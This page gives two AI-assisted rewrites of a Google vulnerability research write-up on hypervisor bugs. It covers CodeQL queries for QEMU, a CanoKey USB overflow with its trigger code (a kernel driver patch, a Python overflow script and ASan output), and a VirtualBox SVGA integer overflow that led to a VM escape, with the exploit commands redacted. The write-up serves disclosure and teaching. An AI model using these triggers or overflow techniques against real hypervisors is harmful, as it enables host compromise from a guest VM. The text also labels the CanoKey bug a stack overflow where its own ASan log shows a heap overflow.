Skip to content
Memory corruption Write-up Advanced

A Fuzzy Escape - A tale of vulnerability research on hypervisors

bughunters.google.com

Published on bughunters.google.com

This security research journey began with a simple question: "What if we could find a virtual machine escape bug?" It was late 2024, and this is how we, the Cloud Vulnerability Research (CVR) team, started our exploration into hypervisor vulnerabilities.

The author, on bughunters.google.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

This is an account of the Cloud Vulnerability Research (CVR) team's work on hypervisor vulnerabilities, which began in late 2024 with a simple question: could they find a virtual machine escape bug? The post is written to demystify the security research process and to show how persistence and pivoting can lead to successful exploitation.

Hypervisors are the foundation of modern cloud computing, letting diverse workloads run securely and efficiently on a single machine. The need for high performance often leads to hypervisors being written in C and C++, which introduces a significant attack surface: a malicious VM that exploits a memory corruption vulnerability could breach the security boundary and escape.

The team's first target was QEMU, an open-source hypervisor used by cloud solutions such as OpenStack and by development and fuzzing tools such as Qemu-AFL. Its widespread adoption made it the primary focus. The characteristics they wanted in an ideal bug were:

  • It can be easily triggered from within a guest OS.
  • It provides a read/write primitive that can be reflected back in some way.

With those requirements in mind, they focused their auditing on QEMU's virtual device code, which emulates hardware such as network and video cards that guest VMs can access directly. That makes it an optimal environment for bug hunting.

Setup

The team chose static code analysis as their first method, because it is the most straightforward way to get familiar with the code when starting out. They used CodeQL, which indexes a codebase into a database so that queries can be run against it. A key benefit is the ability to model patterns and rapidly scan the codebase for their occurrences.

For the later VirtualBox work, they adapted their CodeQL queries to the VirtualBox codebase following the VirtualBox build instructions. For fuzzing, they modified the build tooling to enable instrumentation with sanitizers and wrote a dedicated harness for the SVGA device. The harness code is published in the google/security-research repository under pocs/oracle/virtualbox/cve-2025-30712/fuzzer.

Finding it

Static analysis on QEMU

Manually analysing virtual devices is challenging: each device has a unique implementation, and although they share common data reception mechanisms (Memory/Port Mapped IO, or VirtIO), fully grasping their operation takes substantial time.

To model possible Use After Free scenarios, the team developed this CodeQL query:

import cpp

from MemberVariable memberVariable,
     PointerType pointerType,
     AssignExpr assignExpr,
     VariableAccess variableAccess,
     FunctionCall functionCall,
     VariableAccess freeAccess
where

   memberVariable.getType() = pointerType and memberVariable.getADeclarationLocation().toString().matches("%/hw/%") and

   variableAccess.getTarget() = memberVariable and
   assignExpr.getLValue() = variableAccess and

   functionCall.getTarget().getName().matches("%free%") and
   functionCall.getAnArgument() = freeAccess and
   freeAccess.getTarget() = memberVariable
select
   pointerType.getUnderlyingType(), memberVariable, assignExpr.getLocation(), freeAccess, functionCall.getLocation()

They also modelled other complex bug patterns, including double-fetch accesses, hypothesising that focusing a query on a specific coding pattern could pinpoint all instances within a codebase and thereby uncover bugs.

Limitations of static analysis

They quickly hit three primary drawbacks:

  • Debugging complexity: debugging CodeQL queries becomes increasingly obscure and difficult as their complexity rises.
  • High false-positive rates: static analysis often produces a significant number of false positives.
  • Scalability issues: in large codebases, a single query can yield an overwhelming volume of results, making manual analysis time-consuming and mentally exhausting.

Instead of writing more complex queries, they simplified them and started treating CodeQL not as a definitive bug-finding tool but as a guide to point them in the right direction. This simple query finds all functions implementing any kind of copy operation:

# Objective: find all functions that do some copy operation

import cpp

from Function copyFunction, FunctionCall functionCall,
where
# First get all the functions that have copy in the name
    copyFunction.getName().matches("%\\_copy%") and not
    copyFunction.getName().matches("%trace%") and

# Then get where they are used
    functionCall.getTarget() = copyFunction and
    functionCall.getLocation().toString().matches("%/hw/%")
select copyFunction.getName(), functionCall.getLocation()

Exploitation

Step 1: the CanoKey stack buffer overflow

The simple query led them to a call to a copy function within the CanoKey device that pulls input from guest memory without validating the destination buffer's size:

...
    switch (p->pid) {
    case USB_TOKEN_OUT:
        trace_canokey_handle_data_out(ep_out, p->iov.size);

        usb_packet_copy(p, key->ep_out_buffer[ep_out], p->iov.size);
        out_pos = 0;
        while (out_pos != p->iov.size) {
...

Triggering this from a guest is relatively trivial: they only needed to write data to the USB device, which required modifying the Linux kernel USB driver so that packets larger than usual could be sent:

  diff --git a/drivers/usb/host/uhci-q.c
b/drivers/usb/host/uhci-q.c
   index 35fcb826152c..5883a046a3e5 100644
   --- a/drivers/usb/host/uhci-q.c
   +++ b/drivers/usb/host/uhci-q.c
   @@ -917,7 +917,7 @@ static int uhci_submit_common(struct uhci_hcd *uhci, struct urb *urb,
    {
           struct uhci_td *td;
           unsigned long destination, status;
   -       int maxsze = usb_endpoint_maxp(&qh->hep->desc);
   +       int maxsze = 0x7ff;
           int len = urb->transfer_buffer_length;
           int this_sg_len;
           dma_addr_t data

The Python script used for device interaction was:

    import usb.core
    import usb.util

    dev = usb.core.find()
    if dev.is_kernel_driver_active(0):
        try:
            dev.detach_kernel_driver(0)
        except usb.core.USBError as e:
            sys.exit("Could not detach kernel driver from interface({0}): {1}".format(i, str(e)))

    if dev is None:
        raise ValueError('Device not found')

    dev.set_configuration()

    cfg = dev.get_active_configuration()
    intf = cfg[(0,0)]
    ep = usb.util.find_descriptor(
        intf,

        custom_match = \
        lambda e: \
            usb.util.endpoint_direction(e.bEndpointAddress) == \
            usb.util.ENDPOINT_OUT)
    assert ep is not None

    print(ep.write('A'*0x7ff))

The script finds the USB device, detaches the kernel driver from interface 0 if it is active, sets the configuration, locates the OUT endpoint, and writes a 0x7ff-byte buffer of A characters to it.

To run a VM with CanoKey enabled, they used this configuration:

~/repos/qemu/build/qemu-system-x86_64 \
        -m 20G \
        -smp 2 \
        -cpu host \
        -kernel ~/repos/linux/arch/x86/boot/bzImage \
        -append "console=ttyS0 root=/dev/sda nokaslr earlyprintk=serial net.ifnames=0" \
        -drive file=./bullseye.img,format=raw \
        -usb -device canokey,file=$HOME/.canokey-file \
        -enable-kvm \
        -nographic \
        -pidfile vm.pid \
        2>&1 | tee vm.log

Using ASan, they confirmed the first bug:

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x527000003640 at pc 0x72c30f4fb303 bp 0x7ffc99d15ae0 sp 0x7ffc99d15288
WRITE of size 1828 at 0x527000003640 thread T0

...

The bug was reported and fixed upstream in QEMU in January 2025. During the reporting process it was brought to their attention that CanoKey is a device normally used only for development purposes, so no CVE was assigned.

The bug allows a linear out-of-bounds write of an almost arbitrary amount of attacker-controlled data, and the team theorised that a VM escape should be possible from it. However, the fact that the device is used only for development purposes did not motivate them enough to finish writing a PoC demonstrating the escape.

Step 2: pivoting to VirtualBox and fuzzing

The QEMU work produced a powerful set of CodeQL queries, which they adapted for other codebases. Applying them to the VirtualBox codebase produced many almost-bugs over several days of testing, but they recognised the need for a different approach: static analysis still demands significant time interacting with the codebase, and some interactions can only be truly understood by executing the code and attaching a debugger.

They shifted to fuzzing. Public VirtualBox fuzzing studies mostly examine the hypervisor as a complete system rather than dissecting it into smaller components, whereas the team preferred creating individual harnesses for each device to concentrate on specific sections of the codebase. Fuzzing is a search problem, so they asked whether narrowing the search space would help. Their earlier success with a simplified CodeQL query suggested a simple fuzzing approach might yield similar results.

Unlike in the QEMU research, they chose a device available in a default VirtualBox installation. Their attention was drawn to the SVGA device, specifically a function that appeared to process commands from the guest OS, and to the comprehensive list of operations the SVGA device could execute. That complexity made it an ideal target, as intricate systems often contain more vulnerabilities.

Step 3: modifying the build system

Two modifications were necessary to implement the fuzzer:

  1. Toolchain modification: adapt the existing build tooling to enable instrumentation with the appropriate sanitizers and options.
  2. Fuzzing harness development: write and compile a dedicated harness for the SVGA device.

VirtualBox uses kBuild (distinct from the Linux kernel's kBuild), which functions similarly to Make in defining targets, for example the Makefile.kmk used for building the Devices code. All build tooling configurations live in the kBuild/tools directory, which is not accessible online via a source code browser and requires a direct download from the VirtualBox downloads page. There they duplicated the GCC configuration (GCC.kmk) into a new file named CLANG.kmk, replaced all instances of gcc and g++ with clang and clang++, and added the flags for fuzzing instrumentation:

TOOL_CLANG_CFLAGS           ?= -DMOONSHINE_FUZZING
-fsanitize=address,undefined,fuzzer
-fprofile-instr-generate -fcoverage-mapping

TOOL_CLANG_CXXFLAGS           ?= -DMOONSHINE_FUZZING
-fsanitize=address,undefined,fuzzer

At the root level Config.kmk, they forced kBuild to use the new Clang configuration to build all C/C++ sources.

Next they defined a new Makefile with the harness source code:

SUB_DEPTH = ../..

include $(KBUILD_PATH)/subheader.kmk

PROGRAMS = DevVGAFuzzer
DevVGAFuzzer_Name = dev_vga_fuzzer
DevVGAFuzzer_SOURCES = main.cpp command_generator.h mock_driver.h dev_vga_fuzzer.h mock_helper.h

DevVGAFuzzer_TOOL = CLANG
DevVGAFuzzer_INCS = $(PATH_ROOT)/include
DevVGAFuzzer_INCS += $(PATH_ROOT)/include/VBox/Graphics
DevVGAFuzzer_INCS += $(PATH_ROOT)/src/VBox/Devices/Graphics
DevVGAFuzzer_INCS += $(PATH_ROOT)/src/VBox/VMM/include
DevVGAFuzzer_INCS += $(PATH_ROOT)/src/VBox/Devices/Graphics/vmsvga_include

DevVGAFuzzer_CXXFLAGS = -Wno-everything

The Makefile also included dependencies on other VirtualBox libraries:

DevVGAFuzzer_LIBS = $(VBoxDD_1_TARGET)
DevVGAFuzzer_LIBS += $(VBoxVMM_1_TARGET)
DevVGAFuzzer_LIBS += $(VBoxRT_1_TARGET)
DevVGAFuzzer_LIBS += $(VBoxDDU_1_TARGET)

Step 4: writing the harness

Writing the harness proved non-trivial. As other public research outlines, VirtualBox's internal components are very strongly coupled, requiring modifications to the codebase to tie everything together. The team went for a very iterative approach: quick prototypes of the fuzzer, fixing problems one at a time. They decided that most of the code they wanted to fuzz could be reached via the vmsvgaR3CmdBufProcessBuffers function.

In the SVGA device implementation they introduced this function to expose the internal VGA functionality to the fuzzer more easily:

VBOXDD_EXPORT void FuzzVGACmd(PPDMDEVINS pDevIns, PPDMTHREAD pThread) {
    PVGASTATE       pThis      = PDMDEVINS_2_DATA(pDevIns, PVGASTATE);
    PVGASTATER3     pThisCC    = PDMDEVINS_2_DATA_CC(pDevIns, PVGASTATECC);
    PVMSVGAR3STATE  pSVGAState = pThisCC->svga.pSvgaR3State;
    vmsvgaR3CmdBufProcessBuffers(pDevIns, pThis, pThisCC, pThread);
}

The main benefit of such intermediate functions is minimising the modifications needed: since the PDMDEVINS_2_DATA and PDMDEVINS_2_DATA_CC macros are private to the Devices library, it was easier to export a function that could invoke them. FuzzVGACmd acts as the fuzzer's entry point into the command processing logic of the VGA device, and the harness uses it like this:

...

uint8_t *cmd_buf = AllocateRandomCommands(fdp_.get(), total_length);
if (cmd_buf == nullptr) {
     free(cmd_buf_);
     return;
}
cmd_buf_->hdr.length = total_length;
cmd_buf_->pvCommands = cmd_buf;
FuzzVGACmd(&device_state_.service_instance, &thread_);

[...]

Writing the harness took several weeks of iteration.

Step 5: the SVGA integer overflow (CVE-2025-30712)

After just a few cycles of running the fuzzer and triaging crashes, they found an exploitable bug: a buffer overflow in the vmsvga3dSurfaceMipBufferSize function. The technical details were released in a separate advisory. The summary:

  1. Guest VMs can define "surfaces" in the VGA device that are backed by guest memory.
  2. There is a bug in how the size of the surface is calculated, allowing an adversary to call malloc with a size of 0.

Before the fix, the size was calculated like this:

uint32_t const cxBlocks = (mipmapSize.width + desc->block_size.width - 1) / desc->block_size.width;
    uint32_t const cyBlocks = (mipmapSize.height + desc->block_size.height - 1) / desc->block_size.height;
    uint32_t const czBlocks = (mipmapSize.depth + desc->block_size.depth - 1) / desc->block_size.depth;

For example, if an attacker defined these dimensions:

struct {
  uint32               width;
  uint32               height;
  uint32               depth;
} SVGA3dSize size;

size.width = 0x1337;
size.height = 0xFFFFFFFF;
size.depth = 1;

then the value of cyBlocks would be 0 for the SVGA3D_NV12 descriptor:

uint32_t const cxBlocks = (0x1337 + 2 - 1) / 2;
uint32_t const cyBlocks = (0xFFFFFFFF + 2 - 1) / 2;
uint32_t const czBlocks = (0x1 + 1 - 1) / 1;

When calculating the number of bytes needed to back this surface, the result would resolve to 0:

  uint32_t cbSurfacePlane = clamped_umul32(cxBlocks, cyBlocks);
  cbSurfacePlane = clamped_umul32(cbSurfacePlane, desc->bytes_per_block);

  uint32_t const cbSurfaceResolved = clamped_umul32(cbSurfacePlane, czBlocks);

  uint32_t const cbSurface = clamped_umul32(cbSurfaceResolved, RT_MAX(multisampleCount, 1));

  *pcBlocksX = cxBlocks;
  *pcBlocksY = cyBlocks;
  *pcbSurfacePitch = cbPitch;
  *pcbSurfacePlane = cbSurfacePlane;
  *pcbSurface = cbSurface;

This matters because the device allocates the memory region holding the image data using cbSurface, so an attacker can allocate a memory region of size 0:

static int vmsvga3dSurfaceAllocMipLevels(PVMSVGA3DSURFACE pSurface)
{

    for (uint32_t i = 0; i < pSurface->cLevels * pSurface->surfaceDesc.numArrayElements; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->paMipmapLevels[i];
        AssertReturn(pMipmapLevel->pSurfaceData == NULL, VERR_INVALID_STATE);
        pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
    return VINF_SUCCESS;
}
  1. From there, they found they could use the [redacted] command for a linear OOB read primitive and the [redacted] command for a linear OOB write.
  2. They combined both linear read/write primitives to create a stronger arbitrary read/write primitive.

After achieving arbitrary read/write, it became relatively trivial to get rip control and gain arbitrary code execution. The result was a VM escape exploit that can be triggered in a default installation of VirtualBox.

From the original on bughunters.google.com

Fig. 1. A demonstration of a VM escape exploit that can be triggered in a default installation of VirtualBox

Root cause

The CanoKey bug is a missing bounds check: usb_packet_copy copies p->iov.size bytes from the guest into key->ep_out_buffer[ep_out] without validating the destination buffer's size, giving a linear out-of-bounds write of an almost arbitrary amount of attacker-controlled data.

The VirtualBox bug is in the surface size calculation: with a height of 0xFFFFFFFF, cyBlocks becomes 0 for the SVGA3D_NV12 descriptor. The subsequent multiplications then produce a cbSurface of 0, and the device allocates a zero-sized region for image data that later commands read from and write to as though it were full-sized.

Impact

For CanoKey, the bug allows a linear out-of-bounds write of an almost arbitrary amount of attacker-controlled data, and the team theorised that a VM escape should be possible from it. Because CanoKey is normally used only for development purposes, no CVE was assigned and they did not finish a PoC.

For VirtualBox, the chain of a zero-sized allocation, a linear OOB read via [redacted], a linear OOB write via [redacted], and the resulting arbitrary read/write led to rip control and arbitrary code execution: a VM escape that can be triggered in a default installation of VirtualBox. The bug is tracked as CVE-2025-30712.

Fix

The CanoKey bug was reported and fixed upstream in QEMU in January 2025. The report links changeset 108903 where the bug was fixed. The advisory for CVE-2025-30712 contains the technical details.

Variants to test

  • Other copy functions reachable from guest memory. Run the simplified CodeQL query for functions whose names contain _copy and whose call sites are under /hw/, then check whether each destination buffer's size is validated against the guest-supplied length. A positive result is a call where the length comes from guest-controlled I/O and the destination is a fixed-size buffer.
  • Other devices in a default installation. The team fuzzed a single VirtualBox device and investigated only one of the bugs their fuzzer uncovered. Running the fuzzer longer, or building harnesses for other devices, is expected to reveal more vulnerabilities. A positive result is a sanitizer crash in device command processing reachable from a guest.
  • Other size calculations with 32-bit arithmetic. Look for block-count or pitch computations of the form (size + block - 1) / block followed by multiplications, and try dimensions near 0xFFFFFFFF on each field. A positive result is a computed size of 0 (or a wrapped small value) that is then used for an allocation and later accessed at full size.
  • Other readback and update commands. Once a zero-sized or undersized surface allocation exists, check which commands read from or write to it. A positive result is a linear out-of-bounds read or write that can be combined into arbitrary read/write.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 34 min read.

What happened, in plain words

A team of security researchers, the Cloud Vulnerability Research (CVR) team, began in late 2024 trying to answer one question: can you break out of a virtual machine? They started with a free, open-source program called QEMU, found a real bug in it, then moved to Oracle VirtualBox, built a tool that throws random data at one of its parts, and found a second bug that let them take control of the machine hosting the virtual machine. This article walks through that journey from the very beginning, explaining each idea as it comes up.

Before any of the technical detail, a few words about the setting. A hypervisor is the program that runs virtual machines. Think of it as a landlord who owns a building and rents out separate flats: each tenant (a virtual machine, or VM) lives in their own flat and should not be able to walk into another tenant's flat or into the landlord's office. The hypervisor is the landlord, and the boundary between a VM and the hypervisor is the wall that keeps tenants apart. A VM escape is what happens when a tenant finds a way through that wall.

Why does this matter? Hypervisors are the foundation of modern cloud computing. A single physical machine runs many VMs belonging to different customers, and the whole promise is that they stay separate. To be fast, hypervisors are often written in C and C++, languages that give the programmer direct control over memory but do not stop them from making mistakes. A mistake in memory handling is called a memory corruption vulnerability, and if a malicious VM can trigger one, it may be able to cross the security boundary and escape. That is the risk the team set out to study.

Fantastic bugs and where to find them

The first target was QEMU, an open-source hypervisor used in cloud platforms such as OpenStack and in development and fuzzing tools such as Qemu-AFL. Because so many systems rely on it, a bug there would matter widely, so it became the primary focus.

But not every bug is useful for an escape. The team defined what an ideal bug would look like:

  • It can be easily triggered from inside a guest OS. A guest OS is the operating system running inside the VM, for example Linux installed in the virtual machine. "Easily triggered" means the attacker does not need special privileges or unusual setup inside the VM.
  • It provides a read/write primitive that can be reflected back in some way. A primitive here means a small, reliable capability: the ability to read memory the attacker should not see, or write memory the attacker should not change. "Reflected back" means the attacker can observe the result, for example by reading data back out through the same device.

With those requirements in mind, the team focused on QEMU's virtual device code. A virtual device is software that pretends to be a piece of hardware, such as a network card or a video card, so that the guest OS can talk to it as if it were real. Because the guest can access these devices directly, they are an ideal place to hunt for bugs: the attacker inside the VM has a direct line to that code.

Having chosen a codebase, the team had to choose a method. There are three common approaches to finding bugs in low-level code: manual code auditing (reading the code by hand), static code analysis (using a tool to examine the code without running it), and fuzzing (feeding the program lots of input and watching for crashes). Each has advantages and disadvantages. They started with static analysis because it is the most straightforward way to get familiar with unfamiliar code.

Using static analysis

Analysing virtual devices by hand is hard. Each device has its own implementation, and although they share common ways of receiving data (Memory/Port Mapped IO, or VirtIO), understanding how one works takes a lot of time. Memory-mapped I/O is a technique where the CPU talks to a device by reading and writing ordinary memory addresses; VirtIO is a standard interface that lets a guest and a hypervisor exchange data efficiently.

CodeQL for bug hunting

To help with the analysis, the team used CodeQL, a static analysis tool. CodeQL takes a codebase and indexes it into a database, much like a search engine indexes web pages, so that you can then run queries against it. The key benefit for a security researcher is that you can describe a pattern and have the tool find every place in the code that matches it, far faster than reading everything yourself.

For example, they wrote a query to model possible Use After Free scenarios. A use-after-free is a classic memory bug: a program frees a block of memory (hands it back, saying "I am done with this"), and then later uses it again as if it still belonged to it. In the meantime, someone else may have been given that same memory, so the old user is now reading or writing someone else's data. It is like giving back the keys to a hotel room, then walking back in later and finding a different guest's belongings there.

import cpp

from MemberVariable memberVariable,
     PointerType pointerType,
     AssignExpr assignExpr,
     VariableAccess variableAccess,
     FunctionCall functionCall,
     VariableAccess freeAccess
where

   memberVariable.getType() = pointerType and memberVariable.getADeclarationLocation().toString().matches("%/hw/%") and

   variableAccess.getTarget() = memberVariable and
   assignExpr.getLValue() = variableAccess and

   functionCall.getTarget().getName().matches("%free%") and
   functionCall.getAnArgument() = freeAccess and
   freeAccess.getTarget() = memberVariable
select
   pointerType.getUnderlyingType(), memberVariable, assignExpr.getLocation(), freeAccess, functionCall.getLocation()

Line by line, in plain words:

  • import cpp tells CodeQL that we are analysing C++ code, so it should use the C++ rules and vocabulary.
  • The from block lists the things the query is looking for: a member variable (a variable that belongs to a class), a pointer type (a variable that holds a memory address), an assignment expression (code that stores a value), a variable access (code that reads a variable), a function call, and a variable access that is passed to a free operation.
  • The where block states the conditions that must all be true. memberVariable.getType() = pointerType says the member variable must be a pointer. memberVariable.getADeclarationLocation().toString().matches("%/hw/%") says the variable must be declared in a file whose path contains /hw/, which is where QEMU keeps its hardware device code.
  • variableAccess.getTarget() = memberVariable and assignExpr.getLValue() = variableAccess says the variable is assigned to somewhere.
  • functionCall.getTarget().getName().matches("%free%") says the function being called has free in its name, and functionCall.getAnArgument() = freeAccess and freeAccess.getTarget() = memberVariable says the member variable is passed to that free function.
  • The select line says what to report: the underlying type, the variable, where it was assigned, where it was freed, and where the free call is. In other words, "show me every place where a pointer stored in a hardware device's member variable is freed, so I can check whether it is used afterwards."

Beyond this query, the team modelled other complex bug patterns, including double-fetch accesses. A double-fetch happens when a program reads the same value from untrusted memory twice, and an attacker changes the value between the two reads. It is like a shop assistant checking your ID, then checking it again after you have swapped it for a different card.

The hypothesis was simple: if you focus a query on a specific coding pattern, you can pinpoint every instance of it in a codebase, and some of those instances will be bugs.

Limitations of static analysis

That plan ran into trouble quickly. The team identified three main drawbacks:

  • Debugging complexity: as CodeQL queries get more complex, working out why they behave the way they do becomes obscure and difficult.
  • High false-positive rates: static analysis often reports things that look like bugs but are not. A false positive is a warning that turns out to be harmless, like a smoke alarm going off because of burnt toast.
  • Scalability issues: in a large codebase, a single query can return an overwhelming number of results, and checking them by hand is time-consuming and mentally exhausting.

So they changed tack. Instead of writing more complex queries, they simplified them. They stopped treating CodeQL as a tool that finds bugs and started treating it as a guide that points them in the right direction. The new query was deliberately simple: find every function that performs some kind of copy operation.

# Objective: find all functions that do some copy operation

import cpp

from Function copyFunction, FunctionCall functionCall,
where
# First get all the functions that have copy in the name
    copyFunction.getName().matches("%\\_copy%") and not
    copyFunction.getName().matches("%trace%") and

# Then get where they are used
    functionCall.getTarget() = copyFunction and
    functionCall.getLocation().toString().matches("%/hw/%")
select copyFunction.getName(), functionCall.getLocation()

Line by line:

  • The comment at the top states the goal: find all functions that do some copy operation.
  • import cpp again says we are working with C++ code.
  • The from block declares two things: a function whose name contains copy, and a call to a function.
  • copyFunction.getName().matches("%\\_copy%") keeps only functions whose names contain _copy. The backslash escapes the underscore so it is treated literally.
  • not copyFunction.getName().matches("%trace%") excludes functions whose names contain trace, because tracing functions are not interesting for this purpose.
  • functionCall.getTarget() = copyFunction says the call must be a call to one of those copy functions.
  • functionCall.getLocation().toString().matches("%/hw/%") says the call must be in a file under /hw/, the hardware device code.
  • The select line reports the function name and the location of the call. In plain words: "show me every place in the hardware code where a copy function is called."

Why is this useful? Copy functions move data from one place to another. If the amount of data to copy comes from the guest, and the destination is a fixed-size buffer, then a copy function is exactly where an overflow can happen. The query is a map of places to look.

The first bug: CanoKey stack buffer overflow

The simple query paid off. It led the team to a call to a copy function inside the CanoKey device that pulls input from guest memory without checking whether the destination buffer is big enough to hold it.

...
    switch (p->pid) {
    case USB_TOKEN_OUT:
        trace_canokey_handle_data_out(ep_out, p->iov.size);

        usb_packet_copy(p, key->ep_out_buffer[ep_out], p->iov.size);
        out_pos = 0;
        while (out_pos != p->iov.size) {
...

Line by line:

  • switch (p->pid) chooses what to do based on the type of USB packet. USB is the standard way computers talk to peripherals such as keyboards and security keys.
  • case USB_TOKEN_OUT: means the packet is going out from the guest towards the device.
  • trace_canokey_handle_data_out(ep_out, p->iov.size); writes a log line recording the endpoint and the size of the incoming data. An endpoint is one of the channels a USB device exposes.
  • usb_packet_copy(p, key->ep_out_buffer[ep_out], p->iov.size); is the important line. It copies p->iov.size bytes from the packet into key->ep_out_buffer[ep_out]. The size comes from the guest, but nothing checks that the destination buffer can hold that many bytes. If the guest sends more than the buffer holds, the extra bytes spill past the end of the buffer. That is a buffer overflow.
  • out_pos = 0; and the while loop then process the copied data.

A stack buffer overflow is when the buffer that overflows lives on the stack, the region of memory a program uses for short-lived local data. Writing past the end of a stack buffer can overwrite nearby values, including the address the program will return to, which is how attackers often gain control.

Triggering this from a guest turned out to be relatively easy. The team only needed to write data to the USB device, but the normal Linux USB driver would not send packets larger than usual, so they modified the Linux kernel USB driver to allow bigger packets:

  diff --git a/drivers/usb/host/uhci-q.c
b/drivers/usb/host/uhci-q.c
   index 35fcb826152c..5883a046a3e5 100644
   --- a/drivers/usb/host/uhci-q.c
   +++ b/drivers/usb/host/uhci-q.c
   @@ -917,7 +917,7 @@ static int uhci_submit_common(struct uhci_hcd *uhci, struct urb *urb,
    {
           struct uhci_td *td;
           unsigned long destination, status;
   -       int maxsze = usb_endpoint_maxp(&qh->hep->desc);
   +       int maxsze = 0x7ff;
           int len = urb->transfer_buffer_length;
           int this_sg_len;
           dma_addr_t data

Line by line:

  • The diff --git header and the index line are bookkeeping that a version control tool (Git) uses to describe a change to a file. The file being changed is drivers/usb/host/uhci-q.c, part of the Linux kernel's USB host driver.
  • The --- and +++ lines name the old and new versions of the file.
  • The @@ -917,7 +917,7 @@ line says the change is around line 917 and shows the surrounding function, uhci_submit_common.
  • The lines starting with a space are unchanged context: local variables td, destination, status, len, this_sg_len, and data.
  • The line starting with - is the old code: int maxsze = usb_endpoint_maxp(&qh->hep->desc); sets the maximum packet size to whatever the endpoint's descriptor says.
  • The line starting with + is the new code: int maxsze = 0x7ff; hard-codes the maximum packet size to 0x7ff, which is 2047 in decimal. 0x means the number is written in hexadecimal, a base-16 way of writing numbers that programmers use because it maps neatly onto bytes.

Why change this? The driver normally limits how much data can be sent in one USB packet. By raising that limit, the guest can send a packet large enough to overflow the CanoKey buffer. This is a deliberate weakening of the guest's own driver, done only to test the hypervisor.

The Python script used to talk to the device was:

    import usb.core
    import usb.util

    dev = usb.core.find()
    if dev.is_kernel_driver_active(0):
        try:
            dev.detach_kernel_driver(0)
        except usb.core.USBError as e:
            sys.exit("Could not detach kernel driver from interface({0}): {1}".format(i, str(e)))

    if dev is None:
        raise ValueError('Device not found')

    dev.set_configuration()

    cfg = dev.get_active_configuration()
    intf = cfg[(0,0)]
    ep = usb.util.find_descriptor(
        intf,

        custom_match = \
        lambda e: \
            usb.util.endpoint_direction(e.bEndpointAddress) == \
            usb.util.ENDPOINT_OUT)
    assert ep is not None

    print(ep.write('A'*0x7ff))

Line by line:

  • import usb.core and import usb.util load two Python libraries that let a program talk to USB devices. Python is a programming language often used for quick scripts.
  • dev = usb.core.find() searches for a connected USB device and stores a handle to it in dev.
  • if dev.is_kernel_driver_active(0): checks whether the operating system's own driver is currently attached to interface 0 of the device. An interface is one function a USB device provides.
  • dev.detach_kernel_driver(0) detaches that driver so the script can talk to the device directly. The try/except around it catches errors and exits with a message if detaching fails.
  • if dev is None: raise ValueError('Device not found') stops the script if no device was found.
  • dev.set_configuration() tells the device to use its default configuration, the standard first step before sending data.
  • cfg = dev.get_active_configuration() and intf = cfg[(0,0)] fetch the active configuration and pick interface 0.
  • ep = usb.util.find_descriptor(intf, custom_match = ...) searches the interface for an endpoint matching a condition. The condition is a small anonymous function (lambda e: ...) that returns true when the endpoint's direction is ENDPOINT_OUT, meaning it is an endpoint for sending data from the host to the device.
  • assert ep is not None stops the script if no such endpoint was found.
  • print(ep.write('A'*0x7ff)) sends 0x7ff bytes, each the letter A, to the endpoint, and prints the result. The 'A'*0x7ff expression repeats the string 'A' 0x7ff times. Sending a large block of a repeated character is a common way to test whether a buffer overflows: if the program crashes, the buffer was too small.

To run a VM with CanoKey enabled, the team used this configuration:

~/repos/qemu/build/qemu-system-x86_64 \
        -m 20G \
        -smp 2 \
        -cpu host \
        -kernel ~/repos/linux/arch/x86/boot/bzImage \
        -append "console=ttyS0 root=/dev/sda nokaslr earlyprintk=serial net.ifnames=0" \
        -drive file=./bullseye.img,format=raw \
        -usb -device canokey,file=$HOME/.canokey-file \
        -enable-kvm \
        -nographic \
        -pidfile vm.pid \
        2>&1 | tee vm.log

Line by line:

  • ~/repos/qemu/build/qemu-system-x86_64 is the QEMU program being run. The ~ means the user's home directory, and the backslash at the end of each line means the command continues on the next line.
  • -m 20G gives the virtual machine 20 gigabytes of memory.
  • -smp 2 gives it two virtual CPUs.
  • -cpu host tells QEMU to expose the host machine's CPU features to the guest.
  • -kernel ~/repos/linux/arch/x86/boot/bzImage boots a Linux kernel image from that path.
  • -append "..." passes boot parameters to the kernel: console=ttyS0 sends console output to the first serial port, root=/dev/sda uses the first disk as the root filesystem, nokaslr disables kernel address randomisation (useful when debugging), earlyprintk=serial prints early boot messages to the serial port, and net.ifnames=0 keeps network interface names simple.
  • -drive file=./bullseye.img,format=raw attaches a disk image file as the guest's disk.
  • -usb -device canokey,file=$HOME/.canokey-file enables USB and adds a CanoKey device, storing its state in a file in the home directory.
  • -enable-kvm uses the host's hardware virtualisation support for speed.
  • -nographic runs without a graphical window, using the terminal instead.
  • -pidfile vm.pid writes the process ID of the VM to a file so it can be managed later.
  • 2>&1 | tee vm.log sends both normal output and error output into a program called tee, which writes it to the screen and to the file vm.log at the same time.

Finally, using ASan, the team confirmed the bug. ASan, short for AddressSanitizer, is a tool that watches a program's memory use while it runs and reports when it reads or writes outside the bounds of an allocation.

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x527000003640 at pc 0x72c30f4fb303 bp 0x7ffc99d15ae0 sp 0x7ffc99d15288
WRITE of size 1828 at 0x527000003640 thread T0

...

Line by line:

  • ERROR: AddressSanitizer: heap-buffer-overflow is ASan saying it caught a write past the end of a buffer that lives on the heap. The heap is the area of memory a program uses for data that lives longer than a single function call, allocated on demand.
  • on address 0x527000003640 is the memory address where the problem happened.
  • at pc 0x72c30f4fb303 bp 0x7ffc99d15ae0 sp 0x7ffc99d15288 gives the program counter (the instruction being executed), the base pointer and the stack pointer, which are internal bookkeeping values useful for debugging.
  • WRITE of size 1828 at 0x527000003640 thread T0 says the program tried to write 1828 bytes at that address, in the main thread (T0). 1828 is 0x724 in hexadecimal, close to the 0x7ff bytes the script sent.

This bug was reported and fixed in upstream QEMU in January 2025. During the reporting process, the team learned that CanoKey is a device normally used only for development purposes. Because of that, no CVE was assigned. A CVE, or Common Vulnerabilities and Exposures identifier, is a public catalogue number given to a security flaw so that everyone can refer to the same bug by the same name.

